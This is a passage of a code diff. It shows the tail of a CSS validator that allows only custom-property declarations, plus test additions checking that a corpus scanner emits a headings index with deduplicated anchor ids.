+ const m = re.exec(blanked);
73
+ if (m) {
74
+ const line = lineOf(css, m.index);
75
+ return { ok: false, line, reason, excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '' };
76
+ }
77
+ }
78
+ const braced = blanked.search(/[{}]/);
79
+ if (braced !== -1) {
80
+ const line = lineOf(css, braced);
81
+ return {
82
+ ok: false,
83
+ line,
84
+ reason: 'a selector/rule block — a ui/stylesheet carries declarations only',
85
+ excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '',
86
+ };
87
+ }
88
+ const scanLines = blanked.split('\n');
89
+ const origLines = css.split('\n');
90
+ for (let i = 0; i < scanLines.length; i++) {
91
+ const line = scanLines[i].trim();
92
+ if (!line) continue;
93
+ if (!/^--[\w-]+\s*:[^;]*;?$/.test(line)) {
94
+ return {
95
+ ok: false,
96
+ line: i + 1,
97
+ reason: 'not a custom-property declaration (declarations only, `--token: value;`)',
98
+ excerpt: origLines[i]?.trim().slice(0, 80) ?? '',
99
+ };
100
+ }
101
+ }
102
+ return { ok: true, declarations: origLines.map((l) => l.trim()).filter(Boolean).join('\n') };
103
+ }
@@ -90,11 +90,14 @@ describe('scanCorpus — the index a dispatched viewer reads', () => {
90
90
  expect(meta['/mnt/c/themes.mdx'].owns).toEqual({ concepts: ['the-frame'] });
91
91
  });
92
92
 
93
- it('keeps an entry with NO frontmatter, with empty metadata', async () => {
93
+ it('keeps an entry with NO frontmatter, with empty metadata (plus the additive headings field)', async () => {
94
94
  // A draft or a bare `_layout.mdx` is still part of the corpus; dropping it would make
95
- // the file unroutable rather than merely unlabelled.
95
+ // the file unroutable rather than merely unlabelled. Since the headings index
96
+ // extension (GROVE_AGENT_SPEC §4) the row carries its heading list too.
96
97
  const fs = fakeFs({ '/mnt/c/raw.mdx': '# just a heading\n' });
97
- expect(await scanCorpus('/mnt/c', fs)).toEqual({ '/mnt/c/raw.mdx': {} });
98
+ expect(await scanCorpus('/mnt/c', fs)).toEqual({
99
+ '/mnt/c/raw.mdx': { headings: [{ id: 'just-a-heading', text: 'just a heading', depth: 1 }] },
100
+ });
98
101
  });
99
102
 
100
103
  it('loses only the unreadable entry, never the corpus', async () => {
@@ -155,3 +158,34 @@ describe('parseFrontmatter — the grammar the authoring contract documents', ()
155
158
  expect(parseFrontmatter(src).data).toEqual({});
156
159
  });
157
160
  });
161
+
162
+ describe('scanCorpus — the additive headings index (GROVE_AGENT_SPEC §4)', () => {
163
+ it('G-GA-7 — a scan emits headings whose ids match the rendered anchors (the mdx-plugins canon)', async () => {
164
+ const fs = fakeFs({
165
+ '/mnt/c/a.mdx': '---\ntitle: A\n---\n\n## 8. Capability model\n\n## Getting started\n\n## Getting started\n',
166
+ });
167
+ const meta = await scanCorpus('/mnt/c', fs);
168
+ expect(meta['/mnt/c/a.mdx']).toMatchObject({
169
+ title: 'A',
170
+ headings: [
171
+ { id: 'sec-8', text: '8. Capability model', depth: 2 },
172
+ { id: 'getting-started', text: 'Getting started', depth: 2 },
173
+ { id: 'getting-started-1', text: 'Getting started', depth: 2 },
174
+ ],
175
+ });
176
+ });
177
+
178
+ it('the author own `headings` frontmatter key wins over the computed field', async () => {
179
+ const fs = fakeFs({
180
+ '/mnt/c/a.mdx': '---\ntitle: A\nheadings: authored\n---\n\n## One\n',
181
+ });
182
+ const meta = await scanCorpus('/mnt/c', fs);
183
+ expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A', headings: 'authored' });
184
+ });
185
+
186
+ it('a heading-less entry simply lacks the field (the old-index degrade)', async () => {
187
+ const fs = fakeFs({ '/mnt/c/a.mdx': '---\ntitle: A\n---\n\nprose only\n' });
188
+ const meta = await scanCorpus('/mnt/c', fs);
189
+ expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A' });
190
+ });
191
+ });